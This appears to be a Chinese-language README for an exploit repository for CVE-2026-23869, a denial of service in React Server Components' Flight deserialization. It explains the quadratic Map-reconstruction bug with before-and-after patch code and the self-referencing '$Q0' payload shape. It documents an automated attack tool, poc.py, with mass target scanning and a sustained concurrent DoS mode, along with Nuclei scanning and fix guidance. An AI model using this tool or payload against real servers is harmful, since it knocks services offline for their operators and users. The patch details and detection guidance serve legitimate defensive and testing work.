通过 React Flight 协议实现未认证远程拒绝服务
服务器组件 Map 反序列化中的二次方 CPU 耗尽
概述 • 工作原理 • 工具 • 安装 • 用法 • Nuclei • 修复 • 免责声明
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-23869 |
| 别名 | React2DoS |
| CVSS 评分 | 7.5(高危) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-400(未受控的资源消耗) |
| 类型 | 未认证远程拒绝服务 |
| 发现者 | Yohann Sillam(Imperva 威胁研究团队) |
| 受影响版本 | react-server-dom-webpack / parcel / turbopack ≤ 19.2.4 |
| 已修复版本 | React 19.2.5+ / Next.js 15.5.15+ / 16.2.3+ |
React 服务器组件(React Server Components)的 Flight 协议反序列化中存在一个严重的拒绝服务漏洞。未认证的攻击者可以向任意 Next.js App Router Server Action 端点发送单个精心构造的 HTTP 请求,导致 二次方 O(n²) CPU 耗尽,使服务器锁定数分钟。
consumed 标志React Flight 协议使用特殊标记来序列化数据类型。$Q 表示 Map 对象。当服务器收到包含自引用 $Q0 标记的载荷时:
Payload: [ [1,1], [1,1], ...(n 个有效条目)..., "$Q0", "$Q0", ...(n 个引用)... ]
每个 $Q0 都会触发一次 new Map() 构造函数,该构造函数会遍历所有 n 个有效条目。Map 构造函数会抛出错误(因为条目格式错误),但关键漏洞在于:失败时 consumed 标志从未被设置。
这意味着下一个 $Q0 会从头重新计算完全相同的 Map → 产生 O(n²) 复杂度:
n 个有效条目 × n 个 $Q0 引用 = n² 次 Map 构造函数调用
示例:65,000 × 65,000 = 4,225,000,000 次操作
结果:单个请求使 CPU 锁定 5-10+ 分钟
┌──────────┐ POST / (multipart/form-data) ┌──────────────────┐
│ 攻击者 │ ──────────────────────────────────────▶ │ Next.js 服务器 │
│ │ 请求头: Next-Action: <action_id> │ │
│ │ 请求体: [[1,1]...,"$Q0","$Q0"...] │ ██████████ CPU │
│ │ │ 100% 锁定 │
└──────────┘ │ 约 5-10 分钟 │
└──────────────────┘
// ReactFlightReplyServer.js — 补丁前
case "Q": {
const data = getOutlinedModel(response, id, obj);
return new Map(data); // ← 失败但未设置 consumed = true
// 下一个 $Q0 从头重新计算
}
// ReactFlightReplyServer.js — 补丁后(React 19.2.5+)
case "Q": {
const data = getOutlinedModel(response, id, obj);
obj.consumed = true; // ← 修复:在构造之前设置标志
return new Map(data); // 防止重复重新计算
}
| 文件 | 描述 |
|---|---|
poc.py | 全自动利用工具,包含 4 阶段流水线(侦察 → 提取 → 检测 → 利用) |
CVE-2026-23869.yaml | 基于流程编排的 Nuclei 检测模板 |
# 克隆仓库
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit
# 安装 Python 依赖
pip install requests
# 使脚本可执行
chmod +x poc.py scan.sh extract-action-ids.sh
# 用于 Nuclei 模板扫描
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# 用于存活目标过滤
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
只需提供 URL — 工具会自动完成所有操作:
python3 poc.py -u https://target.com
执行过程:
# 扫描域名/IP 列表
python3 poc.py -L targets.txt
# 输出 JSON 报告
python3 poc.py -L targets.txt -o results.json
# 仅安全检测
python3 poc.py -u https://target.com -a <ACTION_ID> --detect
# 单次利用
python3 poc.py -u https://target.com -a <ACTION_ID> --single
# 持续 DoS(10 个并发)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10
python3 poc.py -u https://target.com --extract
Options:
-u, --url URL 目标 URL(单个目标)
-L, --list FILE 包含目标 URL/IP 的文件(每行一个)
-a, --action-id ID Server Action ID(跳过自动提取)
--detect 仅检测 — 安全、非破坏性(默认)
--single 检测后单次利用
--exploit 检测后持续 DoS
--extract 仅提取 action ID
-l, --length N 载荷条目数(默认:130000)
-w, --workers N 并发工作线程数(默认:5)
-d, --delay SEC 请求间延迟(默认:1.0)
-o, --output FILE 保存 JSON 报告
-t, --threads N 列表扫描的并发目标数(默认:3)
原始 PoC 语法仍然有效:
python3 poc.py <ACTION_ID> <URL>
# 单个目标
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos
# 多个目标
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos
# 简洁输出(仅显示存在漏洞的结果)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent
注意:
-itags dos标志是必需的,因为 Nuclei 默认出于安全考虑排除 DoS 模板。
请求 1 (GET /) → 识别 Next.js(请求头 + HTML 标记)
请求 2 (GET /) → 从 createServerReference() 提取 Server Action ID
请求 3 (POST /) → 基线计时请求(良性载荷)
请求 4 (POST /) → 利用探测(250 个有效 + 250 个 $Q0 条目)
└─ 如果响应时间 ≥ 3s → 存在漏洞
# 运行 httpx → 过滤存活目标 → nuclei 扫描 → 结果
./scan.sh
# 或指定自定义文件
./scan.sh targets1.txt targets2.txt
该工具使用基于计时的检测来安全地识别存在漏洞的服务器:
当满足以下条件时确认存在漏洞:
$Q 标记的异常大的 multipart/form-data 请求体/ 相关的高 CPU 使用率发出告警CVE-2026-23869-Exploit/
├── README.md # 本文件
├── poc.py # 全自动 PoC 利用工具
├── CVE-2026-23869.yaml # Nuclei 检测模板
├── scan.sh # httpx + nuclei 自动扫描器
└── extract-action-ids.sh # 独立的 action ID 提取器
╔══════════════════════════════════════════════════╗
║ 阶段 1 ▸ 侦察 ║
╚══════════════════════════════════════════════════╝
✓ 检测到 Next.js(Next.js)
✓ 构建 ID: abc123def456
✓ App Router: 检测到 Server Actions
╔══════════════════════════════════════════════════╗
║ 阶段 2 ▸ ACTION ID 提取 ║
╚══════════════════════════════════════════════════╝
✓ 找到 3 个 Action ID:
1. a1b2c3d4e5f6789012345678901234567890abcd
2. b2c3d4e5f67890123456789012345678901234ef
╔══════════════════════════════════════════════════╗
║ 阶段 3 ▸ 漏洞检测 ║
╚══════════════════════════════════════════════════╝
[1/2] 基线: 0.142s
[2/2] 探测: 7.891s(基线的 55.6 倍)
██ 存在漏洞 — CVE-2026-23869 已确认 ██
╔══════════════════════════════════════════════════════════════╗
║ 批量扫描结果 ║
╚══════════════════════════════════════════════════════════════╝
已扫描 : 45.2 秒内 150 个目标
存在漏洞 : 3
已修复 : 12
已跳过 : 135
🔴 存在漏洞的目标
─────────────────────────────────────────────────
# 目标 探测时间 比率
1 vulnerable-app.com 7.89s 55.6x
2 staging.example.com 4.21s 28.1x
3 dev.testsite.org 12.33s 82.2x
⚠️ 仅限授权安全测试
本工具仅供教育目的和授权渗透测试使用。未经授权对您不拥有或未获得明确测试许可的目标使用本工具是非法的,可能违反计算机欺诈法律(CFAA、CMA 等)。
作者不对因使用本工具造成的任何滥用或损害负责。在测试任何系统之前,请务必获得适当的书面授权。
如果您觉得这个工具有用,请考虑给它一个 ⭐
scan.sh| 包装脚本:httpx 存活过滤 + nuclei 扫描 |
extract-action-ids.sh | 独立的 Server Action ID 提取器 |
| 指标 | 存在漏洞 | 已修复 |
|---|
| 基线(良性请求) | ~0.1-0.5s | ~0.1-0.5s |
| 探测(500 条目) | 3-10+ 秒 | ~0.1-0.5s |
| 比率(探测/基线) | >5x | ~1x |
| 完整载荷(130K 条目) | 5-10+ 分钟 | ~0.1-0.5s |
| 软件包 | 存在漏洞 | 已修复 |
|---|
react-server-dom-webpack | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-parcel | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-turbopack | ≤ 19.2.4 | 19.2.5+ |
| Next.js | < 15.5.15 | 15.5.15+ |
| Next.js 16.x | < 16.2.3 | 16.2.3+ |